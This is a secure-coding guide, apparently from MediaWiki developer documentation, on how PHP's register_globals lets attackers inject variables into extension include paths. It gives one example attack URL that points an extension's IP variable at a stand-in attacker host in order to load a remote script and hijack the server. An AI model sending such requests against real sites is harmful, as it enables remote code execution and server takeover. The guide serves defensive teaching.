Register globals

PHP has a feature called register_globals. It is enabled by the site administrator in php.ini and cannot be disabled by the web application. It has been disabled by default in PHP for a long time, but shared web hosts continue to enable it routinely to maintain backwards compatibility with old scripts.

When enabled, register_globals causes all parameters defined in GET/POST/cookie data to be copied into the program's global scope. The classic register_globals vulnerability looks like this:

If allow_url_include is enabled or the user is using an old PHP version, this allows an attacker to execute an arbitrary script by requesting a URL such as


 *  http ://example.com/w/extensions/MyExtension/MyExtension.php? IP= http ://hack.com 

All the attacker needs to do is set up a webserver at the named location and have it serve their attack script, and they can hijack your server. If allow_url_include is off, the attack is only slightly more difficult, with a variety of attack vectors still possible, such as file upload scripts, temporary files and double-backslash network paths on MS Windows servers.

For minimum reviewer anxiety, do not use global variables in script paths at all.

If for some reason it's absolutely necessary to use a global variable like this, you can protect it using some boilerplate code, present in many extensions:

This ensures that the code can only be executed after MediaWiki is initialised. You can be sure that MediaWiki will set the $IP variable when it initialises. However, it will not set every conceivable variable. Code like this is still insecure:

The $myExtPath variable can be injected by an attacker and will not be overwritten.

Because MediaWiki uses global variables for its configuration namespace, this means that all extensions must be configured in LocalSettings.php after their setup file is included.

In LocalSettings.php